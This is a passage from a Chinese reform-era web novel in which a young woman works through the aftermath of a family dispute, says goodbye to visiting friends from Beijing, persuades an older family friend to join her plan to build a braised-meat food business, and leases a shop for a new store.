顿了顿,他又解释了句:“有件事我觉得还是应该让您知道。其实李明翰做的这些事,杜晓兰事先并不知情,她也是直到我们找上门才得知真相。” “她当时很生气。李明翰能这么快服软,应该也有她一部分原因。” 苏丽珍这边耳朵里听着,手上晒果干的动作却半点没耽误。 原来杜晓兰不知情,这个情况倒在她意料之外。 不过想想也算情理当中。 可这又能说明什么呢? 依然改变不了这个女人抛夫弃女的事实。 伤害就是伤害,捅一刀就比捅两刀的更高尚吗? 屋里又响起周明义读报纸的声音:“本人李明翰郑重声明,因之前的不当行为致使苏振东同志名誉受损,特此公开致歉。” 苏丽珍就听见孟姑爷爷直接冷哼一声:“他倒是会避重就轻,这时候知道遮掩了,当初做的时候怎么没想着要点脸!” 屋里又一次安静下来,过一会儿,她才听苏爷爷闷闷道:“是振东要求的吧?” 沈瑞答道:“东哥是想与杜晓兰好聚好散,算是全了这段夫妻情谊。” 顿了顿,他又说了句:“我也觉得这是目前最好的结果。” 外头苏丽珍摆弄果干的手不禁微微一顿。 可惜了振东叔对杜晓兰的这一片真心。 哪怕是到了现在,对于从不珍惜他的杜晓兰,他依然想着放手后给对方留有余地。 恐怕这个杜晓兰自己都不知道她真正错过了什么。 她不禁又想起了上辈子的自己,人果然只有亲身经历一回,才会明白有些东西的宝贵。 不懂得珍惜的人再怎么落魄也是理所应当,说白了,都是活该。 正自出神间,耳畔忽然响起一道低沉的声音:“晒这么多山楂,这么喜欢酸的?” 苏丽珍回神,转过头,却是沈瑞不知道什么时候走了过来,正饶有兴趣地盯着她指尖那一片片的红皮山楂。 她从沈瑞的话里听出了几分戏谑,抿了抿唇,莫名觉得对方的态度有些过于亲昵。 嗯,亲昵? 她怎么会有这种感觉? 苏丽珍心底蓦然生出古怪的情绪,直觉是自己分神太久,神经错乱,赶忙收摄心神,随口解释道:“苏爷爷告诉我的。晒干了做茶,更易储存。” 沈瑞低低一笑:“是不是只有德叔说的话,你才会认真听?” “嗯?”这话有些奇怪,苏丽珍忍t不住抬头看他。 沈瑞却没再继续之前的话题,而是突然对她说道:“这次李明翰能这么快服软,答应我们的要求,其实时机是关键。” “改开是必然的趋势,特区只是一个开始,而我们国家尚且有一大片亟待开发的市场。李家是纯粹的生意人,自然眼光放得远。” 苏丽珍虽然不知道他为什么突然转移话题,但是这个话题明显让她更在意,思路也忍不住随着对方走。 听完沈瑞的话,她不由点了点头。 确实,企业手续有缺漏,可以补上;管理不合规,声明改正就是。 罚款也不值得一提。 相比之下,可能那块地皮的损失是最严重的,但这一切和当局的态度相比,又都不算什么了。 如果事情闹太过,造成影响太坏,李家势必会引起当局的反感,这才是决定他们今后所处位置和脚下之路能走多远的关键。 作为能在改开后第一批进入特区“吃螃蟹”的人,他们的眼光肯定不会只局限在一个地方,正如沈瑞所说,他们图谋的是国家更广大的市场。 所以现在这个时机就非常重要,沈瑞这次也是赶上对方力图树立良好风评,打造优越形象的关键阶段,一招蛇打七寸,这才一步到位。 沈瑞见她听懂了,便继续道:“李家当年虽阖族迁往海外,但他们的根基一直在首都。这些年,他们的事业主要集中在米国。自从内地开放后,李家就迅速分了家,除了一小部分坚持留在米国,大约三分之二的李家人选择回来。” 听他这么一说,苏丽珍立刻就明白了。 首都是政治经济的中心,不是什么人都站得住脚的,李家昔年肯定非比寻常。有那么多李家人愿意在刚刚开放、很多政策还不稳定的时候回来也说明了这一点。 当年他们是情势所迫,如今回归,自然希望能重拾旧时关系,尽快恢复从前的地位。 所以对上来出头的沈家,李家自然要避其锋芒。 “其实还有一件事,在我们回到首都的当天晚上,李家就托人找上了我家。我父亲在科研机构工作,找他的是一个多年的老同事,据说是年轻时受到过李家长辈的恩惠,所以才过来求情。” “李家的姿态放得很低,他们希望我们能网开一面。那份致歉声明可以发,只措辞方面想尽量委婉一些,多少给李家人留一点脸面。” 苏丽珍知道,这个“我们”显然说的不是当事人苏振东,而是专指沈家。 沈瑞看着苏丽珍,眼神十分专注:“我答应了。所以其实在东哥想要给杜晓兰留余地的时候,我已经先想好了这个结果。这件事只有我和父亲知道,我爷爷和小义他们也都不知情。” 苏丽珍不由一怔。 原来他之前在屋里说的那句“我也觉得这是最好的结果”并不只是替振东叔说话,这也是他的态度。 不容她细想,沈瑞又兀自说道:“当年李家的当家人人品端方,李家家风尚可。便是李明翰昔年的名声也不错。只如今,有人告诉我他变化很大,行事方面似乎更加激进,手段也称得上狠辣。” 苏丽珍略一思索就明白了他的用意。 他是担心如果下手太重,李明翰恼羞成怒,会动别的歪脑筋。 虽说沈家有能力护住苏爷爷父子,可老虎还有打盹的时候呢。况且这世上折腾人的法子有的是,如果李明翰经常搞些小动作,不足以伤筋动骨,却能叫人背地里有苦说不出,这种事是极有可能的。 到时候以苏爷爷和振东叔的性格,也不愿三天两头来打扰沈家。 所以,其实现在这个结果就如他所说,确实是目前对振东叔来说最好的结果。 尽管它是沈瑞的想法,可不管是身为苦主、却惦记着成全前妻的苏振东,还是急于求和的李家,也都觉得是他们想要的结果。 不得不说,想通这些的苏丽珍不免再次对眼前这个城府、手段皆高的人生出几分敬畏。 当他的对手一定是件很辛苦的事。 只是她不明白,他为什么要把这件事告诉她? 沈瑞一直在看着她,见她目露疑惑,不由主动替她开口:“怎么,苏小姐是奇怪,我为什么要把这件事告诉你?” 苏丽珍迟疑着点了下头。 事实上,她莫名觉得对方不一定会告诉她真正的原因。 沈瑞也确实没有先为她解惑,反而接着问她:“在回答这个问题前,我倒想先问问苏小姐,是否觉得我在东哥这件事上立场不够坚定?” 这又出乎苏丽珍意料,不过想想他连沈爷爷和周明义都没有说,想来也是担心他们误会,都说关心则乱,毕竟这里还涉及了沈瑞的父亲。 不过,她倒没有怀疑过沈瑞的想法和立场。 这件事说到底是苏振东和李明翰之间的事,他肯替苏振东出头,并让后者付出代价就足够了。 要知道,这世上有谁愿意平白树敌的呢? 至于说对于最后的结果,沈瑞选择手下留情,这本也无可厚非。 因为最终促使他做出这个决定的是基于苏爷爷父子,他始终站在苏爷爷一家的角度去思考,而不是为了方便李明翰,甚至都不是为了顾及父亲和友人的情面。 所以只要明确了这些,自然就不会怀疑他做的一切。 于是,苏丽珍这样想,便也这样回答了这个问题。 沈瑞听罢,看着她的目光越发柔和,心中欣赏之意愈浓,唇角也忍不住微微勾起。 苏丽珍被他看得有些不自在,之前那种古怪的感觉又开始冒出来,只好心里一边压下这莫名其妙的感觉,一边提醒对方:“沈先生还没回答我之前的问题。” 沈瑞这次没卖关子:“我同苏小姐说这些,是想着苏小姐今后将东哥留在身边。以你的能力,只一座凤城恐怕不会留住你的脚步。等将来你走得更远时,未尝不会对上这个李家,提前知道他们家是个什么路数,总是好的。” 当然,真遇上也没关系,他到时会帮她的。 苏丽珍闻言更惊讶了。 她都不知道是该说对方料事如神,猜中她要把振东叔留下的打算,还是感叹这人竟然比她自己都有信心,认为她将来能发展到足以去跟李家掰手腕的程度。 不过她想了想,还是决定先跟对方道个歉:“对不起,沈先生,我之前答应你帮忙劝振东叔去南方的事要食言了。” 事实上,她至今都没来得及开口。虽说他们两个人都清楚,事到如今,苏振东十有八九是不会去特区了。 但事情没办成和压根没办是两个概念。 沈瑞很自然地表示了理解:“没关系,回来的时候,我也曾私下问过东哥的想法,他确实不太想跟我走。” 说到这里,他蓦然一笑,“当然,至于能不能把东哥也留下,就像当初德叔那样,还是要看苏小姐的能力了。” 不得不说,沈瑞生得实在好,单容貌俊美的程度连沈哲也比不上,这一笑更使人犹如置身于千万朵花开的旖旎春光里。 可惜对面而立的苏丽珍却没心情欣赏这份美景,她总觉得对方的话意有所指。 是看出她当初故意留下苏爷爷的吧? 没关系,她告诉自己,只要她不慌,谁也猜不到她的秘密。 她将来要努力走得更高、更远,这一路不定会遇到多少难缠的人,他沈瑞绝不是最后一个。 一想到这些,她心里忽然就平静下来。 她迎视着对方,淡然道:“沈先生放心,苏爷爷是我们家的恩人,不管是他、还是振东叔,我们都会视作亲人。所以将来振东叔是走、是留,我都会尊重他的想法。” 沈瑞听完笑了笑,没再开口。 他心里有一瞬间的懊恼,刚刚不该试探那一句的。 明明之前说话时,她的防备心已经没有那么重了。 他目光追随着少女,看她又低下头专心摆弄那些红艳艳的果干。 看她乌黑的长发,雪白的肌肤,在这明媚的晨光中,有种令人迷醉的沉静之美。 他感受着内心的躁动,轻轻吸了口气。 不妙啊,他居然也开始心急了。 第148章 沈瑞和周明义这次在凤城停留了差不多三天,就准备离开了。 这两天两人的心境可以说是几经周折,临别之际都分外不舍。 尤其周明义,上火车前在苏家吃的最后一顿饭,左手大肘子,右手麻辣串,吃到最后,整个人眼泪汪汪的,活像在吃断头饭。 关键吃那t么多,他那张嘴也没闲着:“苏叔、苏婶,你家饭菜也太好吃了!一想到我以后好长时间都吃不到这么好吃的东西,我这心就拔凉拔凉的。” 一米八的大小伙子抱着他们家饭碗一脸无助委屈的伤心样子,看得苏卫华两口子怪不忍心的,李翠英赶忙哄他:“没事,婶子多给你带点熟食,都是熏过的,禁得住放,咋也能让你多吃两天。” 周明义吸了吸鼻子:“谢谢婶子!让你们费心了,做这些怪麻烦的,都怪我嘴馋,给你们添麻烦了。” 店里的卤味已经够让他惊艳了,没想到熏制的熟食也这么好吃,周明义只尝了一口,就觉得这个味道能让他记一辈子。 之前,苏丽珍答应沈老爷子要给他送坛坛肉。上次苏振东急着去深市没顾上,等中间想起来,苏厚德就亲自动手做了满满一坛。这会儿算算日子,再有个十来天就能吃了,正好让沈瑞和周明义捎回去。 想着两个大小伙子力气足,他们一商量,干脆也别光带一坛肉了,再做些熏制的熟食,如今天凉,放得住,也不怕走味儿,回去叫两家的家人们也都尝尝。 所以李翠英又额外熏了不少熟食,沈家、周家各一半。 又听说周明义家里人特别多,加上他在首都待不了两天就要回深市,看着他那眼巴巴的样子,李翠英心软,又单独给他熏了一份,叫他自己留着吃。 熏制的熟食虽然事先也要卤一遍,但因为两种熟食呈现的风味和口感不同,所以在卤制时,用料和手法也不一样。不能用之前的老卤,就需要单独开锅另做,之后还要再熏烤,步骤相对繁琐。 所以周明义说的麻烦并不是客套,是事实确实如此。 李翠英很喜欢周明义,觉得他机灵中又带着几分憨直,特别有意思,所以就笑道:“可别这么说,都是捎带手的事。只要小义爱吃,婶子就高兴。” 这话可把周明义感动坏了,使劲点头:“爱吃、爱吃,婶子做的我都爱吃!不光熏的,还有卤的,我哪一样都喜欢!” 李翠英立马道:“那行,待会儿婶子在给你包点卤味,这个放不住,你们在车上吃。” “哎,谢谢婶子!”周明义乐得差点原地蹦个高。 李翠英看他两边腮帮子鼓鼓溜溜,担心他呛到,赶忙道:“好了好了,你快好好吃,这呛一下可得难受半天。” “呦,这碗快吃完了,婶子给你盛饭吧!” 周明义没让:“不用,我自己能盛!那啥,婶子,就是这串串快没了……” 李翠英痛快道:“厨房还有,我再给你拿。” 周明义:“那婶子,我还想再吃个卤蛋!” 李翠英:“行,我给你拿一盘。你要爱吃,我待会儿再多装几个给你们带上。” 周明义:“婶子万岁!” 其他人:“……” 沈瑞突然觉得有点牙疼。 他意味不明地扫了眼乐颠颠去盛饭的某个人,心里盘算着等这次回深市,看还有哪些不太重要、又比较磨人的活儿正好交给对方。 可怜的周明义还不知道这次回去后等着他的将是多么恐怖的工作量,还兀自跟苏卫华等人热热闹闹地边吃边聊,说他下次来时一定要尝尝李翠英的其他手艺。 他自己胡吃海塞,还不忘叮嘱沈瑞:“瑞哥,你多吃点!” 叮嘱完就跟其他人顺嘴解释道:“苏叔、苏婶,你们不知道,瑞哥的身子骨杠杠的。我们在南边,有的时候忙,瑞哥一顿饭就能管一天,经常十来个小时里连口水都顾不上喝。可就那样了,也不耽误他这一表人才的。我们私底下都怀疑他是铁打的。” 一听这话,一直笑眯眯看他们唠嗑的苏厚德可坐不住了,赶忙道:“小瑞,这可不行,再忙也得吃饭,可不能仗着年轻就胡来!” 接着又去喊周明义:“小义也是,都得好好吃饭!还有,你得帮忙看着你小瑞哥,他要是不听话,你就告诉我,我到时候告诉他爷爷去!” 苏卫华他们也帮腔:“是啊,年轻时候不注意,到老了,这病啊、痛啊的就都找上来了,可不能大意。” 沈瑞几乎瞬间就成了众人们关心的对象。 面对来自长辈们的关怀劝诫,他只好态度良好地向众人保证,以后一定会按时吃饭、保重身体,大家这才揭过这一茬。 苏丽珍却不由微微侧目。 原来这个人平时总是一副智珠在握的样子,但其实也不是真的那么事事游刃有余。在别人看不到的时候,他也要废寝忘食,全力以赴,来保证成功的果实。 这一刻,她忽然就意识到沈瑞也不是那么难以企及。 原来他也一样,会有弱点,并不是无法战胜。 得到这个结论的苏丽珍立时有种豁然开朗的感觉,一下连胃口都好了不少。 周明义没想到他无心的一句话直接就害得沈瑞被“围攻”,一时有些心虚,赶忙将一块他最喜欢吃的鸡翅膀夹到对方碗里,讪讪道:“不好意思啊,瑞哥,我没想那么多。就合计着反正你扛饿,现在多吃点,等下午到火车上你就不用吃了……” 那剩下的不就都是他的了吗! 沈瑞差点气笑了。 真给他出息的,为了点吃的,算盘珠子都扒拉到他脸上了。 周明义看他这样,抱着饭碗缩了缩脖子,小声嘟囔:“那哪一回坐车不都这样么?你一会儿琢磨这个、一会儿研究那个的,问你,你都说不想吃。那你负责忙,我就负责吃呗。” 苏丽珍在对面把这话听得一清二楚,忍不住“噗嗤”笑出了声。 这两天她就发现了,这周明义打小也算是富贵窝里长大,就算不像那些天之骄子一样目下无尘,可也不至于真是个没心眼的憨憨吧。 起初她以为他是扮猪吃老虎,现在看来,可能真是她略有高估? 反正这人真的太有意思了。 她甚至觉得,有这么个人待在深不可测的沈瑞身边,难得都把后者带出了几分烟火气。 那种感觉就像香水遇到韭菜盒子,总有种叫人同情的无力感。 而苏丽珍笑的时候,其他人也都跟着发笑。 苏厚德伸手点了点周明义,边笑、边摇头。 孟知祥倒是说了句:“这孩子还是跟小时候一样。我记得那时候他常跟小瑞跑到厚德家里,到了饭点也不愿回家。吃完了饭,还要去扒厚德家的泡菜坛子,捞点什么黄瓜、胡萝卜的当零嘴吃。” 苏厚德一脸无奈:“泡菜坛子不能见油腥,否则很容易坏掉。这小子那时就光顾着馋嘴,吃完东西,总是一手油就去扒拉我的泡菜坛子,想当初不知道糟蹋了我多少好泡菜。” 一听这话,周明义就不服气了:“德叔,您这说的就不对!我怎么可能糟蹋好泡菜?哪一次不是在它坏掉前,我就先帮你吃光光了!” 苏厚德笑骂道:“得嘞,敢情我还得感谢你小子呗!” 一桌子人立时又笑了起来。 沈瑞看着第一次在他面前笑得全无防备的苏丽珍,心里一软,也忍不住跟着翘起了唇角。 苏卫华夫妻显然特别喜欢周明义这种看似精明、实则憨直的性子,除了李翠英,苏卫华也一个劲儿给他夹菜。 “能吃是福。小义啊,爱吃,咱就多吃点。” 看沈瑞好像没怎么动筷子(?),他又给沈瑞夹了块肉。 “还有小沈,你也吃。” 小义,小沈…… 沈瑞翘起的嘴角一下就抿平了。 想起之前回家,他妈跟他抱怨,说他把周明义带的心都野了,一年到头不肯回家,他舅妈想给儿子相亲都逮不着人。 嗯,要不这次回去就帮舅妈一把吧。 吃完了午饭,因为沈瑞要先去军区跟沈家二哥、二嫂告别,然后再赶下午两点多的火车。 所以说了一小会儿话后,两人就准备告辞。 大家帮着把之前准备好的东西一一搬上车。 今年中秋节,听说苏厚德在这边,沈瑞的二哥、二嫂就单独来登门看望过,因此两家也算打了个照面。 沈瑞二哥沈瑜跟沈瑞无论是气质、还是容貌都完全不像,但是苏家人很喜欢他身上那种铁骨铮铮的硬汉气质。 沈瑞二嫂是军医,整个人明艳大方、英姿飒爽,而且第一次见面就看出苏卫华心脏不好,夸他术后保养得不错。为此临走时,还特地给他们家留下联系地址,让他们以后如果遇到什么问题随时可以联系她。 过后,苏t厚德就告诉苏家人,沈瑞的二嫂原先是西北军区某个王牌军医院最顶尖的心内专家,技术在全国都排得上号。 除了苏丽珍因为想起上辈子那些糟心的回忆,以至于内心深处有点隐秘而复杂的情绪外,这一次碰面后,苏家人都对沈瑞二哥夫妻俩印象特别好。 苏卫华和李翠英还时常念叨,因为上次见面,店里正忙着礼盒订单的事,所以家里乱糟糟的,沈家二哥夫妻俩看他们忙成那样,当时也没好意思多留,待了半小时不到就走了,为此两人一直觉得过意不去。 所以,一听说沈瑞要去看沈家二哥,苏卫华他们又给额外准备了不少卤味和山货过去。 就这样,左一份、右一份,沈瑞的吉普车后座都塞得满满登登。 来时空着手,结果回去的时候却大包、小包,任是平时没心没肺的周明义,也难得有点不好意思了。 他趴在副驾驶的车窗上,朝着苏家人使劲拍了拍胸脯:“叔、婶子,这次不算,等下次再来,我一定给你们带礼物,带多多的,保准你们喜欢!” 苏卫华夫妻俩就笑眯眯点头:“好,那我们就等着。” “沈啊,小义,一路顺风啊!” 眼见着洋楼饭店前的人影越来越远,直到完全看不见,周明义才依依不舍地收回目光。 “瑞哥,苏家的叔叔、婶婶人真好啊!你说咱们下次什么时候来啊?” “估计得是家电厂的生产线安装的差不多,来接孟伯伯的时候吧……瑞哥,到那时你要是忙,就派我来好了!” “不对,你不忙也可以派我来啊!总之,瑞哥,咱说好了,下次有需要来这边,你一定要让我来,我还答应给叔叔婶婶他们带礼物呢。” 周明义美滋滋地单方面做了个决定。 可惜旁边的人从头到尾连个眼风都没给他。 这会儿的他还不知道,在不远的将来,他不但要面对来自他/妈的催婚“相亲大法”,等好不容易摆脱“魔爪”回到深市,那里还有一大堆足以让他不见天日的海量工作。 他再来东北的机会遥遥无期。 沈瑞和周明义离开后,苏丽珍还有一个任务。 当天晚上,她就将自己制定的一部分计划书交给苏振东,并正式发出邀请,希望对方能留下来,加入她的未来创业计划。 关于这件事,她之前已经先跟家里的长辈们提过,想听听他们的看法。 一开始其他人都觉得苏丽珍的想法不错,只有苏厚德不同意。 彼时,他已经从沈瑞那里得知了酱厂被合并,然而合并的新单位也一样不景气的事实。 现在苏振东属于等待新单位安排的阶段,工资也只有平时的一半,可以说这个情况真的不怎么乐观。 苏厚德少时就随养父走南闯北,其实是个很有见地的人。 他并不觉得所谓的“铁饭碗”就真的能长长久久,也不认为丢了这个“铁饭碗”就相当于天塌地陷,没了活路。 在他老人家心里,想着如今是和平年代,这大好的年月,男子汉大丈夫只要肯干,哪里能挣不来一碗饭钱呢。 面对儿子未来可能失业这件事,他已经有了思想准备,甚至整体上还比较乐观。 只是当他听了苏丽珍的计划后,却第一时间觉得这孩子是为了拉拔苏振东。 来凤城几个月了,他知道苏家人对他好,尤其是苏丽珍这个女娃娃。 他能感觉出这孩子对他真是掏心掏肺的,可以说什么事都想着他、念着他。有时候他甚至会想,就算他一手拉扯大的儿子和孙女,都不见得比得上这孩子的贴心。 他也知道有些事其实不对劲,可他不糊涂,他不需要刨根问底,非得搞清楚人家孩子对他好的原因。 他只要记住这孩子对他的一片真心,趁着这把老骨头能动的时候,能回报回报就够了。 所以,他不能答应苏丽珍提的这个事。 他不允许自己一大家子都趴在这孩子身上吸血,他没那么厚的脸皮。 就这么着,苏厚德当场就拒绝了这个事,任苏家人怎么劝都没答应。 其他人一时拿不准他是不是真的不想让苏振东放弃正式工作的机会,只有上辈子已经很了解他的苏丽珍明白他内心的忧虑,便拉着老爷子开诚布公地谈了谈,之后苏厚德才改了主意。 取得家里人的一致支持后,苏丽珍才正式来找苏振东商谈。 就像她之前跟沈瑞说的那样,她虽然很想把苏振东留下,但也百分百尊重后者的个人意愿。 既如此,她就需要拿出十足的诚意和令人信服的理由。 而当苏振东拿着手里的计划书,看着小姑娘煞有其事的样子时,起先只当是这孩子的玩笑之作。 他到底和苏家人接触的时间短,虽然之前一直有听父亲和姑父夸赞对方聪慧有魄力,甚至不输当年的沈瑞,他也并没怎么放在心上。 在他看来,沈瑞聪明能干,品貌出众,性格好,家世也好,是他平生仅见最完美的人。一般人莫说跟他比,只是占了他一两样就足以服众了。 可随着他一点点将手里的计划书看完,他的神情也终于变得认真起来。 第149章 如果不是此时坐在对面的女孩正用她那双沉静的大眼睛一瞬不瞬地盯着自己,让苏振东知道对方正认真地等待他的答复,他几乎以为自己正置身在某个臆想的空间里。 任谁能想到一个年仅十七岁的女孩会有这么远大的目标,甚至为此列出一份堪称精彩的创业计划书呢? 能想到把店里的卤味熟食业务从火锅店里剥离出来,单开一家店,他能理解。 毕竟就算是之前浑浑噩噩如他,也记得父亲和姑父会经常说起,苏家准备今年中秋礼盒那段时间的忙乱。 随着熟食订单的大笔增长,一直这么在火锅店里将就着,伸不开手脚不说,时间一长,也会对火锅店的业务造成影响。 可他没想到的是,这个女孩在想着把单分出来的卤味熟食业务做熟、做大之后,下一步考虑的不单是在市内各区域开几家分店的问题,而是打算买设备,办加工厂,开食品公司,一步到位把苏家的卤味做成特色商品,将来面向全省、乃至全国更广阔的市场。 苏振东这个活了三十多年的成年人第一次有种被惊吓的感觉。 而且这份计划并不是一味的讲空话、不着边际,它完全是有理有据,条理清晰的。其中不只阐述了食品厂的发展前景,市场的预估和产品核心竞争力这些连他这个成年人都似懂非懂的问题,还面面俱到地分析了办食品公司和开发市场过程中可能存在的诸多难题,以及她设想的应对方法。 看着这份计划书,苏振东就生出了一种强烈的感觉,觉得这个公司在不久的将来也许真能办起来,且办得好。 这真是令人期待啊! 他现在是真的相信父亲和姑父的话了,这孩子果然是聪明能干,有能力、又有魄力。 而他自己除了年纪比对方大,其他方面还真是比不上人家。 原本高中毕业那会儿,他也是斗志昂扬,想要有一番作为的,可是后来为了……他从一名前途无量的机关干事一下子变成了只有十几个人的酱厂工人,蹉跎了这么多年,除了平时还在坚持看书、看报,不至于说把那十多年学到的文化都还给老师,他还有什么拿得出手的优势呢? 苏振东心里不免有些落寞。 其实这孩子能写出这样的计划书,哪里还需要他这个失败者协助? 这么做,大概还是为了帮他吧! 想到这里,苏振东眼里的光也黯淡下来。 又想起之前在车站苏丽珍塞给他的那两千块钱,即便他一分没动,回来后就立即还了回去,但他心里一直记着这份情谊。 在经历了婚姻和事业的重重波折,遭受过爱人和友人的背叛与算计后,他格外珍惜身边的每一份善意。 是这些善意陪伴他、支撑他,让他有勇气去面对自己糟糕的前半生。 所以人家越是拿真心对待他,越是这样无微不至地要帮助他,他就越不能理所当然地接受这些好意。 最后,不无遗憾地合上手里的计划书,他还是郑重地将它放回到苏丽珍面前,然后朝着她摇了摇头:“好孩子,你很优秀,我相信你的这个计划将来一定能出色地完成。但是珍珍,t我这个人恐怕配不上你的这个计划。” “所以,抱歉,我不能答应你。” 苏振东的拒绝在苏丽珍的意料之中。 不过她也没着急,因为她刚刚一直在留心观察苏振东的神情,确认对方在看过她的计划书后,眼中流露出了很明显的激动向往之色,这说明苏振东主观上是对她的提议感兴趣的。 这种情况下他却还是选择了拒绝,再联想刚刚他话里那句“不配”,苏丽珍差不多就把对方的想法猜了个八、九分。 她稍稍思索了下,再次开口:“振东叔,我家的情况您应该也已经了解了。我妈是个没什么野心的人,她就单纯喜欢做饭。我当初想开一家饭店,多少也有满足她这个想法的缘故。” “我爸呢,倒是愿意拼一拼,可他的身体能走到今天这一步真的很不容易,所以我不想让他太操劳。” “至于我自己,接下来还要应对高考,时间也并不充裕。所以我想让您留下来帮忙,也真的是因为我现在无人可用。” 见苏振东抬头看着自己,一副欲言又止的样子,她笑了笑:“也许振东叔是想我何必要这么着急,反正以我们家现在的情况,先简单开一家熟食店,等到我高中毕业再做打算也来得及。” 她转头看向窗外,透过二楼客厅的玻璃窗能看到外头一片漆黑的街道上,几点零星亮着的灯光。 谁能想到五六年后,这条街道、这座城市就会被标志着现代化的钢筋水泥、高楼大厦所覆盖,完成一场翻天覆地的巨变。 她的目光在那几点少得可怜的黯淡灯光上流连,再次开口:“去年夏天,我刚中考结束,那个时候我爸因为心脏病不得不提早内退,紧接着我妈也失了业,然后我们在机械厂家属院的房子也被人顶了。” “那个时候,我们家有多难呢?我爸别说动手术、好好养病,他连维持生命的药都舍不得按顿吃。” “后来实在没办法了,我们开始在客运站摆摊,卖包子、凉皮和卤味。说起来,是真的要感谢苏爷爷,如果不是机缘巧合看到那本《料经》,我们也不会有底气去试一试。” “事实证明,我们成功了。一年多后的今天,我们有了这座房子、这家店。” 小洋楼的房款家里早就攒出来了,今年四月份为了给做手术的苏卫华打气,她就拿着钱到纺织厂把房款一次性连本带利补齐,将房本赎回来了。 苏丽珍将目光收回,再次看向对面有些动容的苏振东。 “振东叔,我说这些不是为了强调我们一家人过去吃了多少苦,而是想要让您知道,之所以我们这样底层的普通人也能用仅仅一年多的时间就取得这样的成绩,就是因为我们赶上了一个好时候。” “改革开放,市场逐渐打开,任何人只要肯想、肯干,再加上一点运气,就能像顺风的船儿一样,一日千里。” “面对这样千载难逢的好时机,耽误一分一秒都是浪费,要知道机会是不等人的。” 她盯着苏振东,语气格外认真:“振东叔,这世上的事,有时候我们努力了,也不见得成功;那些得过且过的人也不一定就会一败涂地。所以没什么是绝对的,更说不上‘配不配’,一切不过是先尽人事,然后再听天命。” 她拿起那份计划书,将它又重新放到苏振东手中,“这世上没人喜欢失败,就算我自认输得起,但我仍然比任何人都想要赢。如果没有这个野心,我也不会准备这份计划书。所以振东叔,我是真的需要您留下来帮我,咱们一起乘着这股东风把事业做起来。” 看苏振东神情动摇,她又添了最后一把火:“另外,我也没打算一口吃成个胖子。” “两年,我打算用两年的时间去筹备这家食品公司。在这期间,我们主要以半家庭作坊式的卤味熟食店为主,一边探索市场、总结规律,一边积累经验,同时尽可能把咱们的产品知名度打响。” “等到整个凤城无人不知我们的‘珍珍卤味’时,也是咱们真正能大展拳脚的时候。” “振东叔,您对我的未来计划至关重要,我真的很希望得到您的肯定答复。” 苏丽珍把话说到这个份上,本就被她之前的话触动得心底泛起波澜的苏振东更觉没理由拒绝,这次没坚持太久,最后还是点头同意了。 “好,珍珍,我答应你,我留下来。” 成了! 苏丽珍心中雀跃,面上也忍不住翘起唇角:“谢谢您,振东叔。” 苏振东却摇了摇头,缓缓道:“不,该说谢谢的应该是我。孩子,谢谢你,谢谢你们为我做的一切。” 尽管苏丽珍一直在强调让他留下是为了帮她,可他心里明镜似的,究竟是谁在帮谁。 这次他在心里默默告诉自己,一定得好好干,说什么也不能辜负了这孩子的这份心,还有卫华大哥和翠英嫂子他们。 他悄悄吸了口气,默默压下鼻间的酸胀。 老天爷待他终究是不薄的。 回首这一路,他以为他失去了很多,但其实最珍贵的,一直都在身边。 一个多月后,与“珍珍火锅店”一街之隔的“珍珍卤味熟食店”正式开业。 这家店铺的位置,周围的人可以说是半点不陌生。毫不夸张地说,一半凤城人都认识这地儿。 因为新店的前身就是从前的“朱记”。 今年开春,“朱记”因为违规添加硼砂和以劣质肉充作好肉,导致食客吃坏肚子,结果被大伙儿当场抓了个现行。 出了这事后,从“朱记”老板到上游劣质肉的供应商一整条线上十来个人全部被抓。 因为当时造成的影响十分不好,直接带累了整座凤城市干餐饮的个体户们。人们一度到了闻之色变的程度,后来甚至上升到所有的个体经济。大众对个体户们的种种批判、不信任也达到了顶峰。 直到苏丽珍发表了一篇文章,叙述了自从改开后,一些个体户们自力更生,自主创业,既解决了个人的温饱问题,也给国家减轻了负担。 文章间接为这起事件中无辜受牵连的个体户们发声,恳请大家打破偏见,给认真做事的人一点机会。同时,也呼吁所有个体经营者们一定要不忘初心,诚信经营。 这篇文章当时引起了极大反响,文中观点也迅速得到了凤城日报和相关上级部门的支持。那段时间,报纸上每天都有就“朱记”事件及这篇文章的探讨,赞扬褒奖者很多,批评反对的声音也不少。 但是不管怎么说,还是有相当一部分人受到影响,愿意放下偏见,选择重新给经营餐饮相关的个体户们一些信任,终结了这场因个别违反乱纪的行为导致的个体经营者们的集体寒冬。 也是因为这场沸沸扬扬闹了将近一个半月的信任危机,使得从前的“朱记”几乎到了“家喻户晓”的地步。 同时,也因为他的这种完全反面的出名,导致原本的店铺跟着受了影响。 明明是地理位置、布局大小各方面条件都很不错的铺子,愣是搁在那儿半年无人问津。 苏丽珍打这铺子的主意不是一天两天了。 之前没下手,是想着空一段时间,让前头“朱记”的事淡一淡。 约摸着时间差不多了,她就马上去找曹金凤的大姨街道宋主任,商量着把这铺子租下来。 正巧宋主任也为这事烦着呢。这铺子虽说产权确实在他们这儿,可之前租给朱广才可不是经她的手。后期出了事,反而她也要跟着吃挂落儿。好一段时间,上头一开会就拿这事给各各管街道的干事们当反面教材,快把她给憋屈死了。 所以一听是苏家要租来开分店,她当场就答应了。之前那家名声烂到底,弄得谁也不敢沾边,现在来个好名声的,正好给冲一冲。 关键苏家的东西那是真的好,人家这分店肯定错不了。这要是开得好,原先那点坏名声不就一下洗刷干净了嘛! 反正两边都有意,自然是一拍即合,宋主任甚至租金都没怎么涨,主动跟苏丽珍提出要按照之前“朱记”的来。 要知道当初朱广才拿下这家铺子可是私下里托了人的,所以租金压得很低,如今苏丽珍还沿用这个价格,那是捡了便宜的。 要说苏丽珍也没想占这个便宜,她不差这点钱,其实她更希望能一步到位,直接把这铺子买下来。 可是这事宋主任实在不敢做主,请示了上级领导,上级担心再出“朱记”的事,也没同意。 所以她只能失望了。 好在宋主任给了她权利范围内最大的照顾,直接t跟苏丽珍定了一个五年的租约,租金一年一付,且不得随意涨租。 宋主任还跟她保证,要是有啥变动,保准会提前俩月通知她。 这点苏丽珍倒也不在意,反正不能买下来,有这五年的租约就足够了。 按照她记忆里,五年后,包括他们家那栋小洋楼在内,这一片全部都要拆迁重建。 所以那时候根本不用谁来争抢,他们都必须得搬。 拿下这间铺子后,苏丽珍又马不停蹄地安排人来重新装修。 这铺子只有五十多平,原先的格局是一厅堂、一厨房加一个小小的储藏室,开饭馆略显局促,但是给她卖卤味熟食倒是够用。 因为这家店今后要给苏振东接手管理,所以两人一起定下了装修方案。先将屋内原先模仿她家火锅店的那些乱七八糟的隔断、装饰全部去掉,又将厨房和小储藏室打通合并成一个面积更富余的后厨。 